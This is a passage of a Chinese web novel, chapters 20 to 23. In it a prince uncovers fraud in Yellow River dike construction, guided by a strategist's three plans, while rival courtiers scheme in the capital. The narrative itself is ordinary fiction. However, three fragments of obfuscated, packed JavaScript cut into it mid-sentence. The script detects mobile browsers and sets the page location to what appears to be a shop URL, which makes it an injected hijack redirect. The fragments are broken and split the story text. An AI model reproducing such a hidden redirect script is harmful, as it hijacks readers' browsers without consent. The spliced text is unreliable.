“殿下啊!”他抬起头,眼中闪烁着“恳切”的泪光,“下官……下官有一不情之请!” “下官恳请殿下,待此间事了,能否上奏陛下,为我,为我朔津这数百位劳苦功高的官员,请功!我等不求加官进爵,只求……只求能得陛下的一句嘉勉,便死而无憾了!” 这份嚣张,这份无耻,已经突破了凡人想象的极限。 “你——!” 彭坚再也按捺不住胸中的滔天怒火,“噌”地一声,腰间的佩刀已然出鞘半寸!凌冽的刀光,闪过骇人的寒芒。 席间空气,瞬间凝固。 歌舞停歇,丝竹骤止。所有人都被这突如其来的变故,吓得面无人色。 李世昌也愣住了,他跪在地上,仰头看着那出鞘的利刃,脸上的悲情瞬间凝固,转为一丝惊恐。 然而,就在那刀锋即将完全出鞘的瞬间,一只长手,轻轻地按在了彭坚的刀柄上。 赵玄不知何时已经站起了身,脸上依旧是那副波澜不惊的模样,嘴角甚至还噙着一丝淡淡的笑意。 “彭坚,”他的声音不大,却清晰地传入了每个人的耳中,“不得无礼。” 他缓缓地,将彭坚的刀,一寸一寸,按回了鞘中。 随即,他亲自走下台阶,弯腰将还跪在地上的李世昌扶了起来,拍了拍他肩膀上的尘土,用充满嘉许与感动的语气,柔声道:“李水监,诸位大人,你们的功绩,本王……都看到了。” “你们放心,”他拉着李世昌的手环视全场,声音洪亮,“本王回京之日,便是诸位荣耀之时!” 20. 第 20 章 黑影身形一顿,显然没料到对方会突然叫他。 他转过身来,等待下文。 白逸襄:“你观秦王殿下,是否安好?” 黑影:“安好。” 白逸襄:“那……足下,尊姓大名?” “……” 黑影沉默了片刻,道:“影十三。” “影十三……”好名字,人如其名啊! 白逸襄又问:“像足下这般的人物,共有十三个?还是说,足下在家中,排行十三?” “……” 空气再次静默,白逸襄甚至怀疑对方是不是已经走了,许久,影十三才用一种近乎警告的语气道:“先生,有些事,不是你该问的。” 说罢,他不再给白逸襄继续发问的机会,对着他一抱拳:“若无他事,十三告辞。” 话音未落,他身形一晃,便已如一缕青烟,再次从窗口消失,融入了无边的夜色之中。 白逸襄愣了愣,他好像不太高兴? 我有说错什么吗? 白逸襄摇摇头,接着拿起笔,思索了一会,刚要落笔,却突然想起什么,连忙跑到门外,果然看到石阶上,石头躺在地上。 又忘记说了…… 影十三每次都从窗户进来,悄无声息,根本没必要非得把石头放倒吧……而且,石头是他的心腹,也无需回避。 下次一定得提醒他。 也不知影十三用的什么邪术,是否有损身体…… * 黄河上游,雍州朔津郡,秦王营帐。 赵玄坐于榻上,展开信纸。 信上,是三条破局之策: 其一,曰“釜底抽薪”之策。 夫账簿者,死物也;人与粮者,活物也。李世昌之流,盘踞朔津日久,其账目文书,恐早已伪饰得天衣无缝,如铁壁合围,无隙可乘。若强攻其簿,乃是舍本逐末,徒劳无功。 故臣以为,当弃账而查粮,舍吏而问民。殿下可知,账可伪造,然数万河工之口腹,日耗几何,却难作伪。其每日所食之粮米,所领之菜羹,多一分则感,少一毫则知。彼辈虽位卑言轻,敢怒而不敢言,然其心如明镜,最知其中虚实。 殿下只需遣心腹,许以重利,并以王爵之尊,保其身家性命,则必有愿为鹰犬者,出而告之。届时,以人之所言,证粮之所耗,两相印证,则其贪墨之巨,自会昭然若揭。此策,名曰“账不如粮,粮不如人”。 其二,曰“引蛇出洞”之策。 兵法云:敌不乱,则我乱之。李世昌等人之所以安如泰山,乃因其自以为经营周密,无懈可击。我等正可借其骄矜之心,迫其自乱阵脚。 殿下可即刻明发告示,以“清点粮仓,核实人数,以备以工代赈”为名,遣亲信携量斗、名册,大张旗鼓,深入各处营地。此举务必声势浩大,使人人皆知殿下已察觉账目不符,将清查实物。 李世昌之流闻之,必以为贪墨之事败露,心胆俱裂。惊惶之下,为求自保,定会行险棋。或纵火烧仓,以图毁尸灭迹;或连夜转粮,意欲藏匿赃物。然无论何种举动,只要其蛇已出洞,我等便可收网而擒,人赃并获。届时,铁证如山,容不得他半分狡辩! 其三,曰“舆论先行”之策。 朝堂之争,势也;攻心之策,上之上者也。朔津之事,病在地方,根却在京城。李世昌之所以有恃无恐,无非是倚仗朝中有人,可为其遮风挡雨。 殿下可立遣能言善辩之士,乔装返京,将上游河工“衣不蔽体,食不果腹”之惨状,以及河堤工程“金玉其外,败絮其中”之实情,编为“逸闻”、“杂谈”,于那些最喜高谈阔论的士族清谈会中,若无其事地散布开来。 此事切记,只需描述惨状,博人同情,切勿直接攻讦任何官员,以免授人以柄。京城名士,素以清流自居,最重民生清誉。一旦此等惨事传遍士林,必然群情激愤。言官御史,为博清名,亦会闻风而动,上疏弹劾。 民怨沸于下,舆情动于上,届时,纵是陛下,亦无法再对此事姑息。李世昌背后之人,为求自保,或弃车保帅,或自乱阵脚,我等便可坐观其变,寻其破绽,一击而中。此乃“声东击西,京城发力”之计也。此三策殿下需同时进行,事情必有转机。 …… 看到这里,赵玄心中豁然开朗。 白逸襄这三策看似平平无奇,却条理清晰,环环相扣,实乃良策。 胜败往往都在方寸之间,越是寻常之事,越容易被人忽略。 他脑海中突然闪现出白逸襄那素面竹扇上的三个字“三策定” 赵玄凝重的眉毛缓缓松开,露出一丝微不可见的笑意。 他继续向下看去。 信的最末,还有一行字:“另,殿下小心刺客。” 赵玄眼波微动,静默了一会,将信纸凑近烛火,付之一炬。 他抬起头,看向抱胸而立的影十三,问道:“知渊先生身体如何?” 影十三道:“不太好。” 赵玄皱了皱眉,”前些日子你不是说他容光焕发,面色红润吗,还佯装病重吗?“ ”前几日确实如此,但今日气色惨白,身体虚弱,咳嗽三声。“ ”为何?“ ”十三不知。“ 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16766979|190202||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >赵玄抿嘴看了会影十三,又问:“他……有说其他的话吗?” 影十三沉默了片刻,将白逸襄那晚的问题,原原本本地复述了一遍。 听完他的话,赵玄看着影十三,眼神变得有些古怪,问道:“十三,你……为何叫十三?” 对啊!自己认识他这么多年,竟从来没有好奇过他的名字。 影十三虽然蒙着脸,但从他抽动的眼角,便可知他此刻的脸色应当很是难看。 影十三沉默了良久,久到赵玄以为他不会回答,才用一种近乎生硬的语气,低声道:“……主子,我在师兄弟中,行十三。” “师兄弟……”赵玄恍然。 然而当赵玄咀嚼这三个字之时,却打开了他记忆深处一扇尘封已久的大门。那些被他刻意遗忘的童年片段,不受控制地涌现出来。 见赵玄许久不语,影十三问道:”主子还要回信吗?“ 赵玄回过神来,道:”回。“ 他连忙来到案前,提笔写道: 知渊台鉴 昨夜影十三归,言及先生近况,玄闻之,心中甚是挂念。先生以珠玉之身,系天下之安危,奈何清恙缠绵,未得康愈,实令玄辗转反侧,食不甘味。 影十三粗通医理,尤善金针运气之术,或可为先生疏经通络,固本培元。玄令其即刻返程,为先生理气调脉,以尽绵薄之力。万望先生勿辞,善加珍重。玉体一日不安,玄心一日不宁。 又闻十三言语怠慢,或有冲撞先生之处,玄在此代为赔罪。此人自幼寡言,不善交际,常以冰冷之貌示人,然其心实善,其忠可鉴,日久方知,还望先生海涵一二。其于师兄弟中,排行十三,故以为名。至若其身世来历,书信之中,不便详述。他日与先生煮酒夜话之时,再为先生细细道来。 先生前日所授三策,玄已反复研读,茅塞顿开,如拨云见日。 “釜底抽薪”,直指病灶;“引蛇出洞”,以待其变;“舆论先行”,内外夹击。三策环环相扣,如神兵天降,使玄于困顿无望之际,顿见柳暗花明之景。先生之才,实有鬼神不测之机,经天纬地之略也! 玄帐下虽有谋士数十,然萤火之光,安敢与皓月争辉?众人之见,皆不及先生一谋之远。运筹帷幄之中,决胜千里之外,先生之谓也。 想玄半生孤寂,竟于此世得遇先生,真乃三生之幸!昔汉高祖得张良,光武得邓禹,玄今得先生,亦如鱼之得水,龙之归海。天下之大,非先生不足与谋。 纸短情长,言不尽意。惟愿先生早日康复,以待你我共谋大业,还天下一个清平世界。 ——玄,再拜。 21. 第 21 章 次日,赵玄召来核心僚属,将白逸襄所献三策与众人细细说了一遍。 彭坚毛遂自荐,领了釜底抽薪一策。 其他事项皆由赵玄安排和合适的人选,众人商议谋定后,各自领命而去。 …… 公输越这边,领着痴迷于算学的沈酌和营造之术的工人,赶往黑石峡那段已经修筑完毕的河堤。 他们不用任何官府的文书和图纸,手中只有最原始的工具——麻制的测绳,刻着度量的标尺,以及用来计算的算筹和草纸。 接下来的几日,黑石峡的河工们便时常能看到这群奇怪的“读书人”。 他们不与任何人交谈,只是顶着烈日,冒着寒风,在那冰冷的河堤上爬上爬下。他们时而拉开长长的测绳,测量着堤坝的长度与宽度;时而又将标尺插入土中,记录下堤坝的高度与坡度,口中念念有词,全是一些无人能懂的数字。 李世昌派来的监工,见他们只是在量土方,并未触及任何核心账目,只当是秦王殿下派来走过场的,便也没放在心上。 彭坚那边,带了六名亲兵,换上寻常兵士的服色,于午后悄然进入了黑石峡最大的一个河工营地。 彼时,河工们刚干完一上午的活,正三三两两地聚在窝棚前,端着破碗,喝着那清得能照见人影的米汤。见到彭坚这群人进来,虽未着将官服饰,但那股军中磨砺出的肃杀之气还是让河工们纷纷垂下头,不敢直视。 彭坚并未如寻常查案般设立公堂,而是命人搬来一张胡床,于营地中央坐下。他目光如炬,扫过眼前一张张麻木而畏惧的脸,沉声道:“奉秦王殿下之命,前来体察尔等疾苦。本将只问一事,尔等每日发放的口粮,是否足额?若有苦处,但说无妨,本将为尔等做主。” 彭坚试图营造一种可以信任的氛围,咧开嘴朝众人笑了笑。 不想那笑容让众人更加胆寒。 回应他的,是一片死寂。河工们畏畏缩缩地低着头,无一人敢吱声。 他们长年受权贵欺压,在他们眼中,这新来的“秦王殿下”,与之前的那些官爷,并无分别。今日说了实话,明日这群官兵一走,自己还能有命在吗? 彭坚见状,心中微沉。他耐着性子,命亲兵从人群中“请”出一位看着年纪最长的老河工。 “老丈,不必惊慌。”彭坚亲自为他搬来一个石墩,“老丈,坐下说,本将问你,你每日可得几餐?每餐可有干食?” 那老河工哪里敢坐,双腿一软,“扑通”一声就跪在了地上,浑身抖如筛糠,只是不住地磕头:“官……官爷饶命……小人……小人不知……小人什么都不知道……” “本将是问你话,不是要你的命!你怕什么!”彭坚的声音不由得提高了几分,他强压下心中的急躁,尽量让自己的语气显得温和,“你只管照实说,有本将在此,无人敢动你分毫!” 可他越是如此,那老河工便抖得越厉害,头磕在泥地上,发出“砰砰”的闷响。 彭坚的耐心瞬间被消磨殆尽。 他猛地站起,气势如虹,吓得众人连连跪拜。 彭坚本欲发作,却被亲兵拉了拉,连忙抹了把脸,压下愤怒,转身离开。 他领着亲兵,一连换了三个营地,辗转几天,结果都是一样。河工们不是一问三不知,便是磕头如捣蒜,任他如何软言相劝,就是撬不开一张嘴。 这日傍晚,彭坚拖着一身疲惫回到主帐,一进门便将头盔丢在案上,对着正与其他僚属议事的赵玄一抱拳,满脸皆是挫败之色:“殿下,末将无能!这群河工,个个噤若寒蝉。末将观其神色,知其必有冤情,却苦于无从下手。若非殿下有令在先,末将真想抓几个工头来,用上军法,不怕他们不招!” 赵玄与几位僚属互相看了看,强压下了嘴角的笑意。 冯玠忙起身道:“彭将军辛苦了。” 冯玠一边为彭坚斟了茶,一边道:“彭将军,对付军中悍匪,需用雷霆手段。但对付这些手无寸铁的百姓,却要用那攻心之策。” 彭坚懊恼道:“我不懂你们文人那些把戏,这事,反正我是干不了了。” 赵玄道:“那此事就交由冯卿去办吧。” “冯玠领命。” 冯玠离开营帐,赵玄看向彭坚,笑道:“今早我看你自告奋勇,便没拦你,我这里有更适合你的任务。” 蔫头耷脑的彭坚立即来了精神,“什么任务?” 赵玄朝他摆摆手,彭坚凑近,赵玄在彭坚耳边将计划告知,彭坚大悦跳起,“哈哈!这个好!我现在就去办!” 赵玄叫住他:“不急,此事还需详细计划。” 彭坚跃跃欲试,急得搓手,“殿下,还需多久?” 赵玄道:“容我三思。” 彭坚瞪大眼睛,却不敢再问,一屁股坐了下来。 与此同时,公输越和沈酌从营帐外跑了进来。他们带着一身黄土捧着两卷厚厚的图纸,脸上因满是泥浆而分辨不出样貌。 众人连忙清理桌案,让公输越将图纸在案上一一展开,上面用精准的线条和密密麻麻的数字,将那段河堤的每一个细节都解构得清清楚楚。 “殿下,请看。”公输越满是黄泥的手指着图纸,道:“下官与沈先生,已将黑石峡这段长三里、高四丈、底宽七丈的河堤,进行了分段测算。其所需土石之方量,经我等五人反复核算三遍,其结果,皆在此处。” 他顿了顿,看向沈酌,沈酌忙从怀中取出一份最终的数据文书,双手递给赵玄。 沈酌道:“殿下,根据我等测算,要完成如此数量的土方,即便算上雨天延误、土石损耗,最多,也只需要五千名精壮河工,劳作两月,便可完工。” 赵玄接过那份文书仔细翻看,眼神渐渐变得锐利起来。 沈酌继续道:“然,据李水监呈报给殿下的工程日志所载,此段河堤,共用工一万五千人,耗时四月有余。” 沈酌那双因数日不眠而布满血丝的眼睛里,仍旧目光如炬,“殿下,这其中,凭空多出了两万多个‘人头’的口粮和工钱。这些粮食与银钱,去了何处?下官……却不知了。” 赵玄听完,一字一顿地道:“两万……人头……” 他将文书轻轻放在案上,眼睛微微眯起,喃喃自语:“两位先生辛苦了,此测量之法,果然精妙。” 公输越忙道:“越,不敢领功,全赖白洗马三策,才让我茅塞顿开,我等还在纠结于账本的真假的时候,他却早已看穿了这表象之下的本源。数字可以作假,但人的肚子和脚下的土石,是不会说谎的。” 听了公输越的话,沈酌也道:“酌亦不敢领功!” 另外几位幕僚互相看了看,也诚心赞同。 赵玄点点头,“白洗马那边,我自会为其记上一功。” 彭坚道:“殿下,既然我们已经拿到证据,是不是可以即刻捉拿李世昌?” 赵玄摇头,“这还不算证据,只是数据,贸然捉拿,不但不能将其治罪,还有可能让一切前功尽弃。你莫要忘了,我们不仅要钓出李世昌背后的大鱼,更重要的是,根治这黄河水患啊!” 彭坚一拍脑袋,慨然道:“哎呀,我险些因为一时意气,坏了大事!还是殿下想的周到啊!彭坚佩服。” 赵玄的话,也让在场的僚属心生赞叹,暗暗拜服。 彭坚又问:“可是,如何能拿到证据?” 陈岚率先道:“我们要拿到实证,还需等冯玠的消息。” 赵玄赞许的点点头,笑道:“陈岚。” “微臣在。” 赵玄他将那份数据文书递 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16766980|190202||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 给陈岚,“陈主簿,将此物誊抄一份,详述朔津河道署所有情况,奏请陛下即刻派监察御史,助我推行新政,新政乃:募工兴令,计劳救灾!” “臣遵旨。” * 雍州太子行辕之内,万籁俱寂,只有巡夜卫兵的甲叶,偶尔在雨中发出一两声清脆的碰撞声。 白逸襄刚服下汤药,正准备宽衣歇息,窗棂处,却再次传来了那熟悉的、微不可察的“吱呀”轻响。 白逸襄心中一动,知道是“老朋友”来了。他不动声色地转过身,看向窗户的方向。 可当那道黑影跃入房中,在地上翻了个跟头后立于他面前后,白逸襄吓得后退两步。 不是影十三! 虽然来人依旧是一身利落的黑色劲装,脸上也蒙着黑巾,只露出一双眼睛。 但对方那纤细、玲珑的身形,以及那双在昏黄灯光下也难掩清秀气质的眼睛,都昭示着一个事实—— 来者,是名女子! “你、你是何人?” 那女子拱手道:“先生莫慌,在下乃秦王玄影卫,前来送信。” 秦王玄影卫? 白逸襄心中大为讶异,赵玄竟有一个暗卫组织?影十三只是其中之一? 那女子并未在意他惊诧的目光,从怀中取出一个竹筒,放在桌上,她退至一旁,并未像影十三一样隐于暗处,只是自然的垂手而立。 看来隐于暗处只是影十三的个人习惯……并不是暗卫的标准要求。 白逸襄松了口气,走上前,拆开了信。 信的内容慷慨激昂,情真意切,任谁看了恐怕都会感动得生死相随吧。 白逸襄勾起嘴角,露出了宽慰的笑容,看来二皇子也是擅长笼络人心之人啊。 读完信,白逸襄将信纸在烛火上燃尽,目光投向了那位女子。 “影十三呢?” “回先生,影十三另有要事在身。便派我代为送信,并为先生调理身体。” 女子的声音顿了顿,似乎是为了打消他的疑虑,又补充了一句:“我亦擅长金针运气之术,先生请放心。” 金针运气…… 白逸襄脑中浮现赵玄信中所言,却有提到影十三来为自己“疏经通络,固本培元”之事。 虽说以他判断,赵玄不会害自己,但金针入侵身体,感觉是凶险之事……若非亲近之人或是对其了如指掌,他断不敢让别人为他施针…… 白逸襄想了想,觉得不妥,便道:“姑娘,男女授受不亲,此举多有不便。我看……就不必了吧。还请姑娘代我谢过殿下美意。” 女子清亮的眸子直视着他,语气平静却不容置喙:“知渊先生,主人有令,我等不敢不从。此事,今日就算我不做,下次,影十三也会做。” 她停顿了一瞬,继续道:“先生是想让影十三为你渡穴理气,还是由我代劳?” “……” 白逸襄的额角渗出了一丝细密的冷汗。 影十三……一想到那个浑身散发着冰冷气息得男人,用他那不知杀过多少人的手,在自己身上扎针、运气……那个画面,光是想想就觉得后背发凉。 两害相权取其轻。 他定了定神,忽然想起了什么,抬眼问道:“门口那个壮壮的侍卫……” “他睡了。”女子回答得干脆。 “……” 这伙人的行动方式,还真是一脉相承。 白逸襄无奈道:“你转告影十三,以后不必再弄晕他。石头是我的亲信,并非外人。” 女子轻轻颔首,表示知晓。 白逸襄深吸了一口气,仿佛做出了一个重大的决定。他看着眼前这位身形窈窕的女暗卫,再次问道:“敢问姑娘,你是影十几?” 女子:“……” 22. 第 22 章 “紫烟。”女子道。 “紫烟?你们不是师兄弟啊……”白逸襄仿若自语道。 “不是。” 紫烟声音虽然并不温和,却也是清脆利落,有问必答。比那个影十三不知道好了多少倍。 白逸襄咬了咬牙,英勇道:“……来吧。” * 千里之外的京城。 散骑常侍郭亮的府邸之内。 郭亮看完僚属送来的书信,眼都没抬,仍在了一边,继续吃他的宵夜。 僚属道:“秦王在朔津郡所作所为,恐怕李水监招架不住,万一牵连到常侍身上,该如何是好?” 郭亮冷哼一声:“赵家老二不过是虚张声势罢了,这么久都未动李水监分毫,说明他手中并无确凿铁证,也不敢将事情闹大。” 僚属眼珠转了一圈,笑道:“虽说那皇二子过去并不受宠,可如今他确实风头正劲,我是怕……万一……” “万一?”郭亮一摔瓷碗,僚属连忙跪了下来。 “就凭他,也配跟我斗?我当年治理黄河水患的时候,他还是个吃奶的娃娃呢!” 僚属连连道:“常侍所言极是,所言极是!” 郭亮道:“竖子不足为惧。” 僚属道:“那李水监那边……” “哼,那个废物……”郭亮用帕子擦了擦手,又抹了抹嘴,接着站起身来,语气轻蔑地道:“也罢,他赵老二想玩,老夫便陪他玩玩!” 他朝僚属勾了勾手指,僚属连忙站起,凑了过去。 郭亮道:“你即刻修书与太子,痛陈秦王赵玄行事酷烈,不遵法度,以酷吏之法恐吓地方官员,致使当地人人自危,赈灾事宜已然停摆。并“无意”中透露,赵玄此举,实为构陷太子,意图染指储位。你再将此书誊抄两份,一份交到靳忠手上,他自会想办法让陛下知晓此事。另一份发往朔津郡王中正手中,此事与他关系重大,其中利害,他自然知晓。” 僚属听后,连连点头。 “常侍英明!” 郭亮仿佛已经对他的马屁免疫,神色淡然,朝他挥了挥手,“下去吧,这么点小事还需劳我出马,养你们真是浪费粮食!” “常侍骂的好,常侍骂的妙!”僚属点头弓腰,退出了房间。 在关门的刹那,僚属立即直起了腰,换上一副冷淡的面孔。 当朝皇子,被封王的一共四人,除了太子,另外三位亲王各个都是储位的有力争夺者。 太子那边,连名冠天下的僚属白逸襄都江郎才尽,三番两次的做出荒唐事,更遑论这这肚大无脑的郭亮给太子拖后腿,继续跟着此人,岂不是自寻死路? 这世上谁人能看清形势,谁人才能笑到最后。 此僚属甩了甩袖子,冷哼一声,扬长而去。 * 下游,雍州清平郡行辕。 童谣依旧在传唱,监察御史也时刻盯着他,太子赵钰的日子很不好过。 他名为总领赈灾,实则处处受限,形同囚徒。 他本欲与白逸襄商量对策,结果白逸襄称病不起,听太医说,他几日都不进食了,也不知是不是快死了…… 这让他心中烦闷更胜。 郭亮的密信也在这最不合时宜的时候送到。 赵钰展开书信,草草扫了一眼,便将信纸随手扔在案上,对前来送信的张茂不耐烦地道:“你去回信,国舅那边,让他自己看着办吧,孤这里,不胜烦脑,哪有心思处理他的官司!” 张茂道:“殿下,郭常侍此举,也是为了替殿下分忧啊!秦王在朔津如此张狂,分明是没将殿下放在眼里!” “够了!”赵钰猛地一拍桌子,低吼道,“替我分忧?秦王治水,有理有据,那朔津官员若没贪墨舞弊,他何必多此一举?” 见张茂愣头愣脑,赵钰指着张茂脑袋大骂道:“我看你的蠢脑子该进那黄河里洗洗!黄河水患,乃国之要务,父皇心之大患也。那李世昌是郭亮的远房亲戚,仗势欺人,纵子行凶,当年是他苦苦求我,我念其乃我亲舅的亲戚,这才帮他把事情压了下去。郭亮不思感恩,竟结交党羽,私相授受,这些年背着朝廷做了多少欺君枉上之事?桩桩件件足够他死一百次了。如今他所犯之罪要东窗事发,这才又想起我来?难不成是想拖我下水?” 张茂咕咚跪下,连磕响头,“张茂愚钝,罪该万死,太子明鉴啊!” 赵钰对着他的屁股踢了一脚,“你速速修书郭亮,李世昌这人已经不能再用!他自会明白何意,父皇的眼睛正盯着雍州,让他别再给孤惹事生非!” “诺!”张茂连滚带爬的出了房间。 赵钰这才一屁股坐在榻上,倚案扶额。 他虽不知郭亮在朔津郡具体做了哪些勾当,但郭亮多年来结党营私,贪墨公帑,中饱私囊,他都是睁一只眼闭一只眼。若父皇追责,他也逃不过徇私枉法,姑息养奸的罪责。 如今,他只求郭亮聪明一些,不要勾连到自己,毕竟,他作为大靖的太子,可从来没有贪墨过一钱官帑①! * 京城,宣平坊,一处不起眼的茶肆里,午后的阳光透过雕花木窗,懒洋洋地洒在几张半旧的案几上。 空气中弥漫着廉价茶叶的苦涩香气和食客们闲聊的嘈杂声。 一位说书人刚刚结束了一段《三家分晋》,正喝着水润嗓子,准备开始下一个段子。 却被一人伸手打断。 来人穿着普通、面容黝黑、看着像是个常年在外奔波的行脚商的男子,他将几枚铜钱放在桌上,对着说书人拱了拱手,用带着浓重北方口音的沙哑嗓音说道:“先生,能否让小人说几句?” 说书人望向在座的富贵看客,众人皆喜闻乐见,鼓掌欢迎,说书人便做了个“请”的手势。 那行脚商站起身,对着满座茶客一抱拳,叹了口气,道:“诸位爷,小人刚从北边黄河那地界过来,本是去做点小买卖,谁知……唉!” 他一声长叹,满脸的悲戚之色,瞬间便勾起了所有人的好奇心。 “小人亲眼所见啊!那黄河上游,真是人间炼狱!数万河工,衣不蔽体,食不果腹,住的是四面漏风的窝棚,吃的是猪狗食一样的米糠!每日里累死病死的人,多如牛毛,在乱葬岗堆积如山!” 他一边说,一边用粗糙的手抹着眼泪,那份发自肺腑的悲痛,极具感染力。 “可怜啊!他们也是爹生娘养的,就因为是贱民,命就不是命了吗?小人听说,朝廷拨下来的银子,堆得跟山一样高,可那些银子,连个响儿都没听到,就不见了!” 这番话说完,整个茶肆都安静了下来。在座的人,虽多是普通百姓,但能进茶肆的,也都是富户,对官府的黑暗虽有所耳闻,却从未听过如此触目惊心的细节。 但此事涉及到国家大事,他们也不敢随意评论,正互相对看之际,靠近前排的座位上,一位穿着儒衫、像是个某个私学的书生,忽然拍案而起,满脸义愤地 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16766981|190202||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 接口道:“何止是河工!我听闻,那朔津郡的河堤,更是金玉其外,败絮其中!外层看着是青石垒砌,内里填的,竟全是泥沙枯草!这哪里是修堤,这分明是在用万千百姓的性命,填他们那些贪官污吏的欲壑!” 此二人,不同阶层,一唱一和,其他不敢言语的看客也接连发言。 “岂有此理!” “这群天杀的蠹虫!” 茶肆之内,一时间群情激愤,咒骂之声此起彼伏。 而那个最先开口的“行脚商”,却已悄然隐入了人群,消失不见。 * 同样的故事,在京城的各个角落,悄然上演。 在达官贵人云集的清谈会上,一位刚刚游历归来的名士,在品评完一幅前朝山水画后,状似无意地叹了口气,讲起自己在北上途中,偶遇一群逃难河工的见闻。他并未直接抨击任何官员,只是用最风雅、最悲悯的笔触,描绘了那些灾民“面有菜色,形同槁木”的惨状,听得在座以“清流”自居的士族名士们,个个扼腕叹息,面露不忍之色。 在国子学的学堂里,几位热血的年轻学子,不知从何处得来了一首名为《河工行》的五言古诗。诗中“一身蓑衣遮不住,三碗稀汤熬断肠。君不见,黄河岸边白骨堆,犹是春闺梦里人”的句子,惨烈而又真实,迅速在太学生之间传抄开来,引得无数学子义愤填膺,连夜作赋,痛陈时弊。 在最奢靡的秦淮河画舫之上,一位当红的歌姬,在弹唱完一首风花雪月的曲子后,忽然掩面而泣。在恩客的追问下,她才幽幽地说,自己的远房表哥,便是被征去修河堤的民夫之一,月前传来消息,已活活饿死在了工地上…… 这些看似零散、毫无关联的“逸闻”和“杂谈”,在短短数日之内,经过无数张嘴的添油加醋和口口相传,迅速发酵、汇集。 最终,它们汇成了一股谁也无法忽视的舆论洪流。 * 御史台官署之内,气氛肃杀。 数名言官御史,正围坐一堂,每个人的面前,都摆着一份誊抄的《河工行》。 为首的御史中丞钱忠,将手中的诗稿重重地拍在桌上,那张素来以“铁面无私”著称的老脸上,此刻满是压抑不住的怒火。 “荒唐!简直是荒唐!”他须发戟张,声若洪钟,“天子脚下,朗朗乾坤,竟有此等惨绝人寰之事!我等身为言官,食君之禄,担君之忧,若对此事不闻不问,有何面目立于这朝堂之上!” “钱大人说的是!”一位年轻的侍御史立刻站起身,激动地道,“下官这几日走访,市井之间,皆在传言此事。民怨沸腾,已如鼎沸!我等若再不发声,恐怕要寒了天下百姓之心!” 另一人也接口道:“没错!此事,已非地方贪墨那么简单!背后必有朝中大员为其遮风挡雨!我等当联名上疏,直达天听,恳请陛下严查此事,将那些国之蛀虫,一网打尽!” “附议!” “附议!” 一时间,群情激昂。这些素来以“风骨”自居的言官们,被这股自下而上的民意彻底点燃。为国请命也好,为己博名也罢,此刻,他们有了共同的目标。 是日,三道措辞严厉的弹劾上疏,由御史台联名签署,被送入了通政司,直呈御前。 一同呈上来的,还有清平郡监察御史的奏报,以及赵玄命陈岚拟写的“黄河河道新政奏表。” 一场由白逸襄在千里之外布局的舆论之火,终于,烧到了金銮殿的门槛之下。 23. 第 23 章 皇帝赵渊,首先看了中常侍靳忠呈上来的“京城杂记”,上面那关于京中士林舆论的最新动向,让他威严的脸上,难得露出一丝惊诧。 “看来我大靖民间,真是人才济济。” 靳忠立刻露出似懂非懂的尴尬笑意。 接着,赵渊拿起了钱忠的表奏,看了上面的内容,他微微皱眉,仍是看不出喜怒。 最后,他拿起了赵玄的上表,当看到“凭空多出两万‘人头’的口粮和工钱”时,他的面部肌肉明显一紧,明显到一直低眉顺眼的靳忠都能用余光察觉到。 靳忠垂手侍立,连呼吸都放到了最轻。 果然,只听得“啪”的一声,赵渊将表奏摔到了桌上。 “传旨!”赵渊低声喝道。 “在!”靳忠瞬间应道。 “命侍御史陆琰为朔津监察御史,即刻启程,前往朔津,协同秦王,督办新政,若有违抗政令者,不必请奏,皆由秦王发落。” “再传一道旨,告诉太子,功德碑一事,朕已知晓。他既有心,朕甚慰。让他好生在雍州‘体察民情’,抚恤难民,不必急着回京。” 靳忠眼珠转了转,不敢迟疑,连忙躬身领命。 …… 亥时三刻,紫宸殿内的灯火终于次第熄灭。 伺候着皇帝赵渊安然寝下,又仔细验看过殿门的值守安排,中常侍靳忠才拖着一身疲惫,悄无声息地退了出来。冰冷的夜风一吹,让他那因久在暖阁而有些昏沉的头脑,清醒了几分。 他没有回自己的住处,而是缓步走向了宫城深处、专供内侍高官轮值的“掖省①”。 掖省之内,陈设简朴却洁净。两名早已等候多时的小黄门立刻躬身迎了上来,一个手脚麻利地端来温热的铜盆,伺候他盥洗;另一个则捧着干净的布巾,跪在他脚边,准备为他浣足解乏。 靳忠安然地坐在榻上,任由那两个小黄门殷勤地服侍着。他闭目养神了片刻,才从袖中取出一封密信,那信纸没有封蜡,只是简单地折叠着,正是白日里散骑常侍郭亮府上的人,托与他的密报。 他并未急着看,只是将那信纸在指间缓缓摩挲,感受着纸张上因紧张而留下来的汗渍。 直到小黄门为他拭干了手脸,又换上一盆温度正好的热水,准备为他浣足时,靳忠才缓缓睁开眼,将那封信,凑近了身旁几案上跳动的烛火。 信纸一角触及火焰,瞬间便蜷曲、焦黑,升起一缕带着墨香的青烟。火光映在他那张沟壑纵横、看不出真实年岁的脸上,明灭不定。 